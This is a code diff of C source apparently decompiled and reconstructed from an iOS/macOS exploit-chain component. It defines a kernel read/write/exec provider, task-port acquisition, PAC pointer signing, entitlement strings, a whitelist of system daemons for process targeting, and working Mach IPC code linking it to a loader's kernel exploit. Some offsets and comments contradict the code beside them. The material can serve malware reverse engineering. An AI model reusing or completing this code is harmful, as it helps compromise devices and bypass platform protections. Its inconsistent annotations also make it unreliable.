|
||||
#define E2_ERR_SYSCTL 0x000AD00B
|
||||
|
||||
/* ── Magic values ─────────────────────────────────────────────────── */
|
||||
|
||||
#define MAGIC_FOODBEEF 0xF00DBEEF
|
||||
#define MAGIC_MH64 0xFEEDFACF /* MH_MAGIC_64 */
|
||||
#define MAGIC_FAT_LE 0xBEBAFECA /* FAT_MAGIC */
|
||||
#define MAGIC_FAT_BE 0xCAFEBABE /* FAT_CIGAM */
|
||||
#define MAGIC_MH64_LE 0xCEFAEDFE
|
||||
#define MAGIC_MH64_BE 0xCFFAEDFE
|
||||
#define MAGIC_MH64_BE2 0xCFFAEDFD
|
||||
|
||||
/* ── Mach trap numbers (raw svc #0x80 wrappers at 0x6000) ─────────── */
|
||||
|
||||
#define MACH_TRAP_MACH_VM_DEALLOCATE (-12) /* 0x6080 */
|
||||
#define MACH_TRAP_MACH_PORT_DEALLOCATE (-18) /* 0x6068 */
|
||||
#define MACH_TRAP_MACH_PORT_MOD_REFS (-19) /* 0x6098 */
|
||||
#define MACH_TRAP_MACH_REPLY_PORT (-24) /* 0x6038 */
|
||||
#define MACH_TRAP_THREAD_SELF (-26) /* 0x6044 */
|
||||
#define MACH_TRAP_TASK_SELF (-27) /* 0x6050 */
|
||||
#define MACH_TRAP_HOST_SELF (-28) /* 0x605c */
|
||||
#define MACH_TRAP_MACH_MSG (-31) /* 0x6074 */
|
||||
#define MACH_TRAP_PID_FOR_TASK (-47) /* 0x6080 */
|
||||
|
||||
/* BSD syscalls */
|
||||
#define SYS_GUARDED_OPEN_DPROTECTED 360 /* 0x6000 */
|
||||
#define SYS_GUARDED_WRITE 361 /* 0x601c */
|
||||
|
||||
/* ── IOKit entitlement strings (in __cstring) ─────────────────────── */
|
||||
|
||||
/*
|
||||
* "<dict><key>com.apple.security.iokit-user-client-class</key>"
|
||||
* "<array><string>IOSurfaceRootUserClient</string>"
|
||||
* "<string>AGXDeviceUserClient</string></array></dict>"
|
||||
*
|
||||
* "<dict><key>task_for_pid-allow</key><true/></dict>"
|
||||
*/
|
||||
|
||||
/* ── Driver object returned by type0x09's _driver() ───────────────── *
|
||||
* This is the same structure as module_vtable_t in bootstrap.h.
|
||||
* Bootstrap PAC-strips all function pointers at +0x10..+0x48
|
||||
* after receiving this from _driver(). Entry2 validates
|
||||
* version==2 and method_count>=2 before use.
|
||||
*
|
||||
* Layout confirmed from bootstrap.dylib disassembly at 0x870c–0x878c:
|
||||
* ldr x0, [x8, #0x10] → strip_pac → str x0, [x8, #0x10] (fn_deinit)
|
||||
* ldr x0, [x8, #0x18] → strip_pac → str x0, [x8, #0x18] (fn_init)
|
||||
* ...through +0x48
|
||||
*/
|
||||
typedef struct driver {
|
||||
uint16_t version; /* +0x00: must be 2 */
|
||||
uint16_t method_count; /* +0x02: number of methods, must be >= 2 */
|
||||
uint64_t _pad; /* +0x04: 8 bytes padding (+4 implicit alignment) */
|
||||
void *fn_deinit; /* +0x10: module deinit */
|
||||
void *fn_init; /* +0x18: module init */
|
||||
void *fn_cleanup; /* +0x20: cleanup handler */
|
||||
void *fn_command; /* +0x28: command dispatch */
|
||||
void *fn_30; /* +0x30: additional method */
|
||||
void *fn_38; /* +0x38: additional method */
|
||||
void *fn_40; /* +0x40: additional method */
|
||||
void *fn_48; /* +0x48: additional method */
|
||||
} driver_t;
|
||||
|
||||
/* ── Connection to type0x09 LOADER ────────────────────────────────── */
|
||||
|
||||
typedef struct type09_connection {
|
||||
void *context; /* +0x00: internal driver context (driver_backend_t*) */
|
||||
void *target_info; /* +0x08: bound target descriptor (driver_t*) */
|
||||
void *driver_ref; /* +0x10: driver reference for connect (validated in 0x11488) */
|
||||
void *driver_conn; /* +0x18: active driver connection handle */
|
||||
} type09_connection_t; /* 0x20 bytes total */
|
||||
|
||||
/* ── Type0x09 vtable (created at 0x105a4) ─────────────────────────── */
|
||||
|
||||
typedef struct type09_vtable {
|
||||
uint32_t flags; /* +0x00: 0x20002 */
|
||||
uint32_t _pad;
|
||||
void *context; /* +0x08: type09_connection_t* */
|
||||
void (*fn_close)(void*); /* +0x10: close/cleanup */
|
||||
void (*fn_alloc)(void*, uint32_t flags, void **out, void *extra);
|
||||
/* +0x18: allocate memory in type0x09 */
|
||||
void (*fn_dealloc)(void*);/* +0x20: deallocate */
|
||||
void (*fn_query)(void*); /* +0x28: query info */
|
||||
void (*fn_dlsym)(void *ctx, const char *name, void **out);
|
||||
/* +0x30: resolve symbol from type0x09 */
|
||||
void (*fn_38)(void*); /* +0x38 */
|
||||
void (*fn_40)(void*); /* +0x40 */
|
||||
void (*fn_48)(void*); /* +0x48 */
|
||||
} type09_vtable_t;
|
||||
|
||||
/* ── KRW provider vtable (created at 0x11298) ─────────────────────── */
|
||||
|
||||
typedef struct krw_provider {
|
||||
uint32_t flags; /* +0x00: 0x10003 */
|
||||
uint32_t _pad;
|
||||
void *context; /* +0x08: type09_connection_t* */
|
||||
|
||||
/* All function pointers are PAC-signed with paciza */
|
||||
|
||||
kern_return_t (*close)(void *self);
|
||||
/* +0x10: 0x11510 — destroy provider, free memory */
|
||||
|
||||
kern_return_t (*bind)(void *self, void *target);
|
||||
/* +0x18: 0x115a8 — bind to target process descriptor */
|
||||
|
||||
kern_return_t (*unbind)(void *self);
|
||||
/* +0x20: 0x11634 — unbind from target, cleanup driver */
|
||||
|
||||
kern_return_t (*get_info)(void *self);
|
||||
/* +0x28: 0x11704 — get driver info via csops */
|
||||
|
||||
kern_return_t (*open_rw)(void *self, const char *name,
|
||||
uint32_t name_len, uint32_t flags, void **out);
|
||||
/* +0x30: 0x11720 — open a kernel r/w channel */
|
||||
|
||||
kern_return_t (*kread)(void *self, uint64_t kaddr, uint32_t type);
|
||||
/* +0x38: 0x1183c — kernel virtual read (dispatch → 0xba30) */
|
||||
|
||||
kern_return_t (*kwrite)(void *self, uint64_t kaddr, void *data,
|
||||
uint32_t size, ...);
|
||||
/* +0x40: 0x11898 — kernel virtual write (→ 0xc634) */
|
||||
|
||||
kern_return_t (*kexec)(void *self, uint64_t kaddr, ...);
|
||||
/* +0x48: 0x118d4 — kernel exec/call (→ 0xc870) */
|
||||
|
||||
kern_return_t (*kalloc)(void *self, uint64_t addr, void *data,
|
||||
uint32_t size, ...);
|
||||
/* +0x50: 0x11914 — kernel allocate (→ 0xc400) */
|
||||
|
||||
kern_return_t (*get_port)(void *self, mach_port_t port,
|
||||
void *out_rights, void *out_port);
|
||||
/* +0x58: 0x11968 — get task port via krw (→ 0xb854)
|
||||
* Note: disasm shows only 4 args (self, port, out_rights, out_port).
|
||||
* Internally calls e2_get_task_port(port, out_rights, 0, out_port, 0) */
|
||||
|
||||
kern_return_t (*physrw)(void *self, uint64_t physaddr,
|
||||
void *buf, uint32_t size);
|
||||
/* +0x60: 0x1186c — physical memory r/w (→ 0xba30) */
|
||||
|
||||
void * (*get_base)(void *self);
|
||||
/* +0x68: 0x119a0 — get kernel base address */
|
||||
} krw_provider_t;
|
||||
|
||||
/* ── KRW channel (created at 0x11720) ─────────────────────────────── */
|
||||
|
||||
typedef struct krw_channel {
|
||||
uint16_t version; /* +0x00: 1 */
|
||||
uint16_t _pad02;
|
||||
uint32_t _pad04;
|
||||
void *driver_handle; /* +0x08: handle from driver backend */
|
||||
uint64_t target_addr; /* +0x10 */
|
||||
uint32_t target_size; /* +0x18 */
|
||||
uint32_t _pad1c;
|
||||
void *extra; /* +0x20 */
|
||||
void (*fn_read)(void*); /* +0x28: PAC-signed read op */
|
||||
void (*fn_write)(void*); /* +0x30: PAC-signed write op */
|
||||
void (*fn_info)(void*); /* +0x38: PAC-signed info op */
|
||||
} krw_channel_t;
|
||||
|
||||
/* ── Driver backend context (created at 0x182a8, 0x178 bytes) ─────── */
|
||||
|
||||
typedef struct driver_backend {
|
||||
void *driver_ref; /* +0x00: driver_t* from type0x09 */
|
||||
void *target_binding; /* +0x08: bound target descriptor */
|
||||
bool owns_target; /* +0x10: whether we allocated the target */
|
||||
uint8_t _pad11[0x0B];
|
||||
uint8_t flags_1c; /* +0x1c */
|
||||
uint8_t sandbox_result; /* +0x1d */
|
||||
uint8_t _pad1e[0x02];
|
||||
void *libcache_handle; /* +0x20: dlopen("/usr/lib/system/libcache.dylib") */
|
||||
/* ... further fields for symbol resolution, Mach-O parsing ... */
|
||||
uint32_t kern_version; /* +0x18: extracted from dyld header */
|
||||
/* ... */
|
||||
void *mach_header; /* +0xC8: _NSGetMachExecuteHeader() */
|
||||
void *argc_ptr; /* +0xD0: _NSGetArgc() */
|
||||
void *argv_ptr; /* +0xD8: _NSGetArgv() */
|
||||
void *environ_ptr; /* +0xE0: _NSGetEnviron() */
|
||||
void *progname_ptr; /* +0xE8: _NSGetProgname() */
|
||||
/* ... rest of 0x178 bytes ... */
|
||||
} driver_backend_t;
|
||||
|
||||
/* ── F00DBEEF container entry (16 bytes each) ─────────────────────── *
|
||||
* Layout confirmed from bootstrap.dylib at 0x7c9c–0x7e0c:
|
||||
* type_flags at +0x00, flags at +0x04,
|
||||
* data_offset at +0x08, data_size at +0x0c
|
||||
*/
|
||||
typedef struct foodbeef_entry {
|
||||
uint32_t type_flags; /* upper 16 bits = segment type */
|
||||
uint32_t flags; /* typically 0x00000003 */
|
||||
uint32_t data_offset; /* offset within container */
|
||||
uint32_t data_size; /* size of data */
|
||||
} foodbeef_entry_t;
|
||||
|
||||
/* ── F00DBEEF container header (for custom dlsym at 0x1dc98) ──────── */
|
||||
|
||||
typedef struct foodbeef_container {
|
||||
uint32_t magic; /* 0xF00DBEEF */
|
||||
uint32_t entry_count;
|
||||
foodbeef_entry_t entries[]; /* flexible array of 16-byte entries */
|
||||
} foodbeef_container_t;
|
||||
|
||||
/* ── Resolver object (created at 0x1dbc0, 0x38 bytes) ─────────────── */
|
||||
|
||||
typedef struct symbol_resolver {
|
||||
uint32_t flags; /* +0x00: 0x10001 */
|
||||
uint32_t _pad;
|
||||
void *dyld_handle; /* +0x08: internal dyld handle */
|
||||
|
||||
kern_return_t (*fn_lookup)(void *handle, void *container, uint32_t size);
|
||||
/* +0x10: symbol lookup function */
|
||||
|
||||
kern_return_t (*fn_18)(void*);
|
||||
/* +0x18 */
|
||||
|
||||
kern_return_t (*fn_20)(void*);
|
||||
/* +0x20 */
|
||||
|
||||
kern_return_t (*fn_28)(void*);
|
||||
/* +0x28 */
|
||||
|
||||
kern_return_t (*fn_30)(void*);
|
||||
/* +0x30 */
|
||||
} symbol_resolver_t;
|
||||
|
||||
/* ── Mach IPC message layout ──────────────────────────────────────── */
|
||||
|
||||
typedef struct e2_mach_msg {
|
||||
mach_msg_header_t header; /* +0x00 */
|
||||
uint32_t msg_id; /* +0x18: identifies message type */
|
||||
uint32_t flags; /* +0x1c */
|
||||
/* payload follows */
|
||||
} e2_mach_msg_t;
|
||||
|
||||
/* ── IPC response (from 0xa908/0xaa00) ────────────────────────────── */
|
||||
|
||||
typedef struct ipc_response {
|
||||
uint32_t field_00; /* +0x00: flags (bit 31 checked) */
|
||||
uint32_t field_04; /* +0x04: total size */
|
||||
uint8_t _pad08[0x0C];
|
||||
uint32_t msg_type; /* +0x14: expected 1 or 2 */
|
||||
uint32_t name_len; /* +0x18: length of name string */
|
||||
uint32_t extra_len; /* +0x1c: length of extra data */
|
||||
char name[]; /* +0x20: null-terminated name, then extra data */
|
||||
} ipc_response_t;
|
||||
|
||||
/* ── Thread worker context (passed to pthread_create at 0xa378) ───── */
|
||||
|
||||
typedef struct worker_ctx {
|
||||
void *fn; /* +0x00: function to call (PAC-signed) */
|
||||
krw_provider_t *krw; /* +0x08: krw provider */
|
||||
void *data; /* +0x10: module data buffer */
|
||||
uint32_t data_len; /* +0x18: module data length */
|
||||
/* populated before thread spawn, read by worker */
|
||||
} worker_ctx_t;
|
||||
|
||||
/* ── Process name whitelist for daemon matching ───────────────────── */
|
||||
|
||||
static const char *g_daemon_whitelist[] = {
|
||||
"launchd",
|
||||
"UserEventAgent",
|
||||
"runningboardd",
|
||||
"fseventsd",
|
||||
"misd",
|
||||
"configd",
|
||||
"powerd",
|
||||
"keybagd",
|
||||
"remoted",
|
||||
"wifid",
|
||||
"watchdogd",
|
||||
"thermalmonitord",
|
||||
"containermanagerd",
|
||||
"driverkitd",
|
||||
"lockdownd",
|
||||
"AppleCredentialManagerDaemon",
|
||||
"peakpowermanagerd",
|
||||
"notifyd",
|
||||
"cfprefsd",
|
||||
"apfs_iosd",
|
||||
"ospredictiond",
|
||||
"biometrickitd",
|
||||
"locationd",
|
||||
"nehelper",
|
||||
"nesessionmanager",
|
||||
"CloudKeychainProxy",
|
||||
"filecoordinationd",
|
||||
"osanalyticshelper",
|
||||
"CAReportingService",
|
||||
"wifianalyticsd",
|
||||
"logd_helper",
|
||||
"OTATaskingAgent",
|
||||
"wifip2pd",
|
||||
"amfid",
|
||||
"GSSCred",
|
||||
"nanoregistrylaunchd",
|
||||
"mobile_storage_proxy",
|
||||
"MobileStorageMounter",
|
||||
"diskimagescontroller",
|
||||
"online-auth-agent",
|
||||
"DTServiceHub",
|
||||
"diagnosticd",
|
||||
"wifivelocityd",
|
||||
"deleted_helper",
|
||||
"coresymbolicationd",
|
||||
"tailspind",
|
||||
"backupd",
|
||||
"SpringBoard",
|
||||
NULL
|
||||
};
|
||||
#define DAEMON_WHITELIST_COUNT 48 /* 48 non-NULL entries; table is 0x190 bytes (50 ptrs) in binary */
|
||||
|
||||
/* ── Function declarations ────────────────────────────────────────── */
|
||||
|
||||
/* PAC helpers (0x861c–0x8664) */
|
||||
uint64_t e2_pacia(uint64_t ptr, uint64_t ctx);
|
||||
uint64_t e2_pacda(uint64_t ptr, uint64_t ctx);
|
||||
uint64_t e2_pacib(uint64_t ptr, uint64_t ctx);
|
||||
uint64_t e2_pacdb(uint64_t ptr, uint64_t ctx);
|
||||
int e2_check_pac(void);
|
||||
uint64_t e2_strip_pac(uint64_t ptr);
|
||||
uint64_t e2_sign_pointer(uint64_t ptr, uint64_t ctx);
|
||||
|
||||
/* Mach trap wrappers (0x6000–0x60a0) */
|
||||
int64_t e2_trap_guarded_open(uint64_t a, uint64_t b, uint64_t c, uint64_t d);
|
||||
int64_t e2_trap_guarded_write(uint64_t a, uint64_t b, uint64_t c, uint64_t d);
|
||||
mach_port_t e2_trap_mach_reply_port(void);
|
||||
mach_port_t e2_trap_thread_self(void);
|
||||
mach_port_t e2_trap_task_self(void);
|
||||
mach_port_t e2_trap_host_self(void);
|
||||
kern_return_t e2_trap_port_dealloc(mach_port_t task, mach_port_t port);
|
||||
kern_return_t e2_trap_mach_msg(void *msg, uint32_t option, uint32_t send_size,
|
||||
uint32_t rcv_size, mach_port_t rcv_name,
|
||||
uint32_t timeout, mach_port_t notify);
|
||||
int e2_trap_pid_for_task(mach_port_t task);
|
||||
kern_return_t e2_trap_vm_dealloc(mach_port_t task, uint64_t addr, uint64_t size);
|
||||
kern_return_t e2_trap_port_mod_refs(mach_port_t task, mach_port_t port,
|
||||
uint32_t right, int32_t delta);
|
||||
|
||||
/* Custom dlsym (0x1dc98) */
|
||||
kern_return_t e2_custom_dlsym(void *output, void *container, uint32_t size);
|
||||
|
||||
/* Resolver (0x1dbc0) */
|
||||
kern_return_t e2_create_resolver(symbol_resolver_t **out);
|
||||
|
||||
/* Container parsing (0x60a4–0x6124) */
|
||||
kern_return_t e2_parse_and_resolve(void *ctx);
|
||||
|
||||
/* Linker/loader (0x6128–0x6460) */
|
||||
kern_return_t e2_link_module(void *ctx, void *name, void *data,
|
||||
void *extra, uint32_t *stage);
|
||||
|
||||
/* Mach IPC (0xa6b8, 0xa820, 0xab30) */
|
||||
kern_return_t e2_send_recv_msg(mach_port_t port, uint32_t msg_id,
|
||||
uint32_t flags, void **reply, uint32_t *reply_size);
|
||||
kern_return_t e2_send_msg(mach_port_t port, uint32_t msg_id,
|
||||
mach_port_t reply_port, uint32_t extra, uint32_t final);
|
||||
kern_return_t e2_recv_msg(mach_port_t port, uint32_t max_size,
|
||||
uint32_t options, uint32_t timeout,
|
||||
void **out, uint32_t *out_size);
|
||||
|
||||
/* Runtime context (0xa908) */
|
||||
kern_return_t e2_get_runtime_context(uint32_t stage,
|
||||
ipc_response_t **out, uint32_t *out_size);
|
||||
|
||||
/* Driver init (0x182a8) */
|
||||
kern_return_t e2_init_driver_backend(driver_backend_t *out, driver_t *driver,
|
||||
void *target, const char *extra);
|
||||
|
||||
/* Driver connect (0xc12c) */
|
||||
kern_return_t e2_driver_connect(void *dest, void *driver_ref,
|
||||
void *target, void *binding);
|
||||
|
||||
/* Driver cleanup (0xc094) */
|
||||
kern_return_t e2_driver_cleanup(void *driver_ctx);
|
||||
|
||||
/* Driver backend destroy (0x185d0) */
|
||||
kern_return_t e2_destroy_driver_backend(void *backend);
|
||||
|
||||
/* Driver backend sub-cleanup (0x14714) */
|
||||
kern_return_t e2_backend_sub_cleanup(void *backend);
|
||||
|
||||
/* Bind target to driver context (0x18670) */
|
||||
kern_return_t e2_bind_target(void *context, void *target);
|
||||
|
||||
/* Get driver info via csops (0x187d4) */
|
||||
kern_return_t e2_get_driver_info(void *internal);
|
||||
|
||||
/* KRW provider (0x11298) */
|
||||
kern_return_t e2_create_krw_provider(void *output, driver_t *driver,
|
||||
void *target, void *extra,
|
||||
void *context, int flags);
|
||||
|
||||
/* KRW dispatch (0xba30) — generic kernel r/w dispatch
|
||||
* Called with different arg counts depending on operation:
|
||||
* kread: e2_krw_dispatch(kaddr, 3) — virtual read, type=3
|
||||
* physrw: e2_krw_dispatch(physaddr, buf, size) — physical r/w
|
||||
* kalloc: e2_krw_dispatch(name, alloc_size, &out_port)
|
||||
*/
|
||||
kern_return_t e2_krw_dispatch(uint64_t arg0, ...);
|
||||
|
||||
/* Task port via krw (0xb854) */
|
||||
kern_return_t e2_get_task_port(mach_port_t port, void *out_rights,
|
||||
void *arg2, void *out_port, void *arg4);
|
||||
|
||||
/* Kernel write implementation (0xc634) */
|
||||
kern_return_t e2_kwrite_impl(void *driver_conn, mach_port_t port,
|
||||
void *data, uint32_t size,
|
||||
void *path, void *x5, uint32_t x6,
|
||||
void *x7 /*, stack args */);
|
||||
|
||||
/* Kernel exec implementation (0xc870) */
|
||||
kern_return_t e2_kexec_impl(void *driver_conn, int32_t count,
|
||||
void *data, uint32_t size,
|
||||
void *path, void *x5, uint32_t x6,
|
||||
void *x7 /*, stack args */);
|
||||
|
||||
/* Kernel alloc implementation (0xc400) */
|
||||
kern_return_t e2_kalloc_impl(void *driver_conn, void *name,
|
||||
uint64_t alloc_size, void *data,
|
||||
uint32_t size, void *path,
|
||||
uint32_t x6, void *x7 /*, stack args */);
|
||||
|
||||
/* IOKit connection (0x17e7c) */
|
||||
kern_return_t e2_iokit_connect(void *driver, const char *name,
|
||||
uint32_t name_len, uint32_t flags,
|
||||
void **out);
|
||||
|
||||
/* Memory helpers (0x10010, 0x100a4) */
|
||||
void *e2_memcpy_custom(void *dst, const void *src, size_t len);
|
||||
void *e2_memset_custom(void *dst, int val, size_t len);
|
||||
|
||||
/* Exports */
|
||||
kern_return_t _end(mach_port_t port, uint32_t conn_info,
|
||||
void *container_data, void *extra, uint32_t stage);
|
||||
void _last(void *ctx, uint32_t size, void *data,
|
||||
uint32_t flags, void *stack, uint32_t cleanup);
|
||||
|
||||
#endif /* ENTRY2_H */
|
||||
@@ -0,0 +1,267 @@
|
||||
/*
|
||||
* ipc.c - Mach IPC messaging layer
|
||||
*
|
||||
* Decompiled from entry2_type0x0f.dylib offsets 0xa6b8–0xacb8
|
||||
*
|
||||
* All communication between entry2 and the bootstrap/type0x09 happens
|
||||
* through Mach messages. This layer handles send/recv with timeouts,
|
||||
* port allocation, and response validation.
|
||||
*/
|
||||
|
||||
#include "entry2.h"
|
||||
#include <mach/mach.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
/* ── e2_send_msg (0xa820) ────────────────────────────────────────── *
|
||||
* Sends a Mach message to a port with optional reply port.
|
||||
*
|
||||
* Message layout (0x20 bytes):
|
||||
* [0x00] msg_size | msg_bits (0x13 or 0x1413 depending on reply_port)
|
||||
* [0x04] unused
|
||||
* [0x08] remote_port | local_port
|
||||
* [0x10] <from constant pool> (voucher/id)
|
||||
* [0x18] stage | extra
|
||||
* [0x1c] final
|
||||
*/
|
||||
kern_return_t e2_send_msg(mach_port_t port, uint32_t msg_id,
|
||||
mach_port_t reply_port, uint32_t extra,
|
||||
uint32_t final)
|
||||
{
|
||||
if (port + 1 < 2) {
|
||||
/* port is 0 or MACH_PORT_NULL — can't send */
|
||||
return E2_ERR_MACH_MSG - 0xFFE; /* 0x0001F039 */
|
||||
}
|
||||
|
||||
/* Build the message on stack (0x20 bytes) */
|
||||
struct {
|
||||
uint32_t bits; /* MACH_MSGH_BITS */
|
||||
uint32_t size; /* 0x20 */
|
||||
mach_port_t remote;
|
||||
mach_port_t local;
|
||||
uint64_t voucher; /* from constant pool at 0x1ef60 */
|
||||
uint32_t stage;
|
||||
uint32_t extra;
|
||||
} msg;
|
||||
|
||||
memset(&msg, 0, sizeof(msg));
|
||||
|
||||
/* If reply_port is valid, include MACH_MSG_TYPE_MAKE_SEND for reply */
|
||||
uint32_t bits = (reply_port + 1 > 1) ? 0x1413 : 0x13;
|
||||
msg.bits = bits;
|
||||
msg.size = 0x20;
|
||||
msg.remote = port;
|
||||
msg.local = reply_port;
|
||||
/* voucher loaded from literal pool */
|
||||
msg.stage = msg_id;
|
||||
msg.extra = extra;
|
||||
|
||||
kern_return_t kr = mach_msg(
|
||||
(mach_msg_header_t *)&msg,
|
||||
MACH_SEND_MSG, /* option = 0x11 (send + timeout) */
|
||||
0x20, /* send_size */
|
||||
0, /* rcv_size = 0x64 */
|
||||
port, /* rcv_name */
|
||||
100, /* timeout = 100ms */
|
||||
MACH_PORT_NULL /* notify */
|
||||
);
|
||||
|
||||
if (kr == KERN_SUCCESS) {
|
||||
return 0;
|
||||
}
|
||||
if (kr == 0x10) {
|
||||
/* MACH_SEND_TIMED_OUT — specific handling */
|
||||
return E2_ERR_MACH_MSG;
|
||||
}
|
||||
if (kr == MACH_SEND_INVALID_DEST) {
|
||||
return E2_ERR_MACH_MSG - 1;
|
||||
}
|
||||
return E2_ERR_MACH_MSG;
|
||||
}
|
||||
|
||||
/* ── e2_recv_msg (0xab30) ────────────────────────────────────────── *
|
||||
* Receives a Mach message on a port with optional timeout.
|
||||
*
|
||||
* Allocates a receive buffer, validates the response header,
|
||||
* and returns the full message to the caller.
|
||||
*/
|
||||
kern_return_t e2_recv_msg(mach_port_t port, uint32_t max_size,
|
||||
uint32_t options, uint32_t timeout,
|
||||
void **out, uint32_t *out_size)
|
||||
{
|
||||
if (max_size < 0x18) return E2_ERR_NULL;
|
||||
if (!out) return E2_ERR_NULL;
|
||||
if (!out_size) return E2_ERR_NULL;
|
||||
|
||||
uint32_t buf_size = max_size + 8;
|
||||
void *buf = calloc(1, buf_size);
|
||||
if (!buf) return E2_ERR_ALLOC;
|
||||
|
||||
/* Compose mach_msg option bits */
|
||||
uint32_t msg_option = options | MACH_RCV_MSG; /* 0x102 */
|
||||
|
||||
kern_return_t kr = mach_msg(
|
||||
(mach_msg_header_t *)buf,
|
||||
msg_option,
|
||||
0, /* send_size */
|
||||
buf_size, /* rcv_size */
|
||||
port, /* rcv_name */
|
||||
timeout,
|
||||
MACH_PORT_NULL
|
||||
);
|
||||
|
||||
/* Handle MACH_RCV_TOO_LARGE (0x10004004) — message didn't fit */
|
||||
if (kr == 0x10004004) {
|
||||
uint32_t actual_size = ((mach_msg_header_t *)buf)->msgh_size;
|
||||
if (actual_size - 0x18 > 0x063FFFE8) {
|
||||
/* Absurdly large — reject */
|
||||
*out = NULL;
|
||||
*out_size = actual_size;
|
||||
/* Send back a discard reply */
|
||||
mach_msg((mach_msg_header_t *)buf, MACH_RCV_MSG,
|
||||
0, buf_size, port, 0, 0);
|
||||
goto fail;
|
||||
}
|
||||
*out = NULL;
|
||||
*out_size = actual_size;
|
||||
goto fail;
|
||||
}
|
||||
|
||||
/* Handle MACH_RCV_TIMED_OUT (0x10004003) */
|
||||
if (kr == 0x10004003) {
|
||||
goto fail;
|
||||
}
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
/* Check for interrupt-like errors (0x1000400C, 0x10004008) */
|
||||
uint32_t masked = kr & ~0x4;
|
||||
if (masked == 0x10004008) {
|
||||
mach_msg_destroy((mach_msg_header_t *)buf);
|
||||
}
|
||||
goto fail;
|
||||
}
|
||||
|
||||
/* Validate response size */
|
||||
uint32_t resp_size = ((mach_msg_header_t *)buf)->msgh_size;
|
||||
if (resp_size < 0x18 || resp_size > max_size) {
|
||||
mach_msg_destroy((mach_msg_header_t *)buf);
|
||||
goto fail;
|
||||
}
|
||||
|
||||
/* Success — transfer ownership to caller */
|
||||
*out = buf;
|
||||
*out_size = resp_size;
|
||||
return KERN_SUCCESS;
|
||||
|
||||
fail:
|
||||
bzero(buf, buf_size);
|
||||
free(buf);
|
||||
return kr ? kr : E2_ERR_IPC_BASE;
|
||||
}
|
||||
|
||||
/* ── e2_send_recv_msg (0xa6b8) ───────────────────────────────────── *
|
||||
* Full round-trip: allocate reply port, send request, receive response.
|
||||
*
|
||||
* This is the primary IPC function used by the runtime context fetch
|
||||
* and all krw operations.
|
||||
*/
|
||||
kern_return_t e2_send_recv_msg(mach_port_t port, uint32_t msg_id,
|
||||
uint32_t flags, void **reply,
|
||||
uint32_t *reply_size)
|
||||
{
|
||||
if (port + 1 < 2 || !reply || !reply_size) {
|
||||
if (port + 1 > 1)
|
||||
return E2_ERR_IPC_BASE + 0x16;
|
||||
return E2_ERR_NULL;
|
||||
}
|
||||
|
||||
/* Allocate a receive right for the reply */
|
||||
mach_port_t reply_port = MACH_PORT_NULL;
|
||||
kern_return_t kr = mach_port_allocate(
|
||||
mach_task_self(),
|
||||
MACH_PORT_RIGHT_RECEIVE,
|
||||
&reply_port
|
||||
);
|
||||
if (kr != KERN_SUCCESS)
|
||||
return E2_ERR_IPC_BASE;
|
||||
|
||||
/* Send the request with reply port */
|
||||
kr = e2_send_msg(port, msg_id, reply_port, flags, 0);
|
||||
if (kr != KERN_SUCCESS)
|
||||
goto cleanup;
|
||||
|
||||
if (reply_port + 1 < 2) {
|
||||
kr = E2_ERR_NULL;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
/* Wait for reply with 30-second timeout */
|
||||
void *response = NULL;
|
||||
uint32_t resp_size = 0;
|
||||
kr = e2_recv_msg(reply_port, 0x18, 4, 30000, &response, &resp_size);
|
||||
|
||||
/* On timeout (0x1E03B), retry without timeout */
|
||||
if (kr == (E2_ERR_IPC_BASE + 0x18)) {
|
||||
kr = e2_recv_msg(reply_port, resp_size, 0, 0, &response, &resp_size);
|
||||
}
|
||||
|
||||
if (kr == KERN_SUCCESS) {
|
||||
*reply = response;
|
||||
*reply_size = resp_size;
|
||||
}
|
||||
|
||||
cleanup:
|
||||
/* Destroy the reply port */
|
||||
mach_port_mod_refs(mach_task_self(), reply_port,
|
||||
MACH_PORT_RIGHT_RECEIVE, -1);
|
||||
return kr;
|
||||
}
|
||||
|
||||
/* ── e2_get_runtime_context (0xa908) ─────────────────────────────── *
|
||||
* Sends msg_id=8 to the bootstrap port and receives the runtime
|
||||
* context, which includes container data and connection info.
|
||||
*
|
||||
* Response validation:
|
||||
* - Size >= 0x40
|
||||
* - msg_type (offset 0x14) == 1
|
||||
* - flags (offset 0x00) bit 31 must be clear
|
||||
*/
|
||||
kern_return_t e2_get_runtime_context(uint32_t stage,
|
||||
ipc_response_t **out,
|
||||
uint32_t *out_size)
|
||||
{
|
||||
if (!out || !out_size)
|
||||
return E2_ERR_NULL;
|
||||
|
||||
void *response = NULL;
|
||||
uint32_t resp_size = 0;
|
||||
|
||||
kern_return_t kr = e2_send_recv_msg(stage, 8, 0, &response, &resp_size);
|
||||
if (kr != KERN_SUCCESS)
|
||||
return kr;
|
||||
|
||||
/* Validate response */
|
||||
if (resp_size < 0x40 || !response)
|
||||
goto invalid;
|
||||
|
||||
ipc_response_t *resp = (ipc_response_t *)response;
|
||||
|
||||
if (resp->msg_type != 1)
|
||||
goto invalid;
|
||||
|
||||
if (resp->field_00 & 0x80000000)
|
||||
goto invalid;
|
||||
|
||||
/* Success */
|
||||
*out = resp;
|
||||
*out_size = resp_size;
|
||||
return KERN_SUCCESS;
|
||||
|
||||
invalid:
|
||||
if (response) {
|
||||
mach_msg_destroy((mach_msg_header_t *)response);
|
||||
bzero(response, resp_size);
|
||||
free(response);
|
||||
}
|
||||
return E2_ERR_MSG_INVALID;
|
||||
}
|
||||
@@ -0,0 +1,793 @@
|
||||
/*
|
||||
* krw.c - Kernel Read/Write provider
|
||||
*
|
||||
* Decompiled from entry2_type0x0f.dylib offsets 0x11298–0x11a5c
|
||||
*
|
||||
* This module creates and manages the KRW (kernel read/write) provider,
|
||||
* which wraps the driver_t obtained from type0x09 (LOADER) into a
|
||||
* PAC-signed vtable of kernel manipulation functions.
|
||||
*
|
||||
* The KRW provider is the core of entry2's capability: it provides
|
||||
* kernel memory read, write, exec, allocation, task port acquisition,
|
||||
* physical memory access, and kernel base discovery — all routed
|
||||
* through the type0x09 LOADER's kernel exploit.
|
||||
*/
|
||||
|
||||
#include "entry2.h"
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
/* Forward declarations for vtable functions */
|
||||
static kern_return_t krw_close(void *self);
|
||||
static kern_return_t krw_bind(void *self, void *target);
|
||||
static kern_return_t krw_unbind(void *self);
|
||||
static kern_return_t krw_get_info(void *self);
|
||||
static kern_return_t krw_open_rw(void *self, const char *name,
|
||||
uint32_t name_len, uint32_t flags, void **out);
|
||||
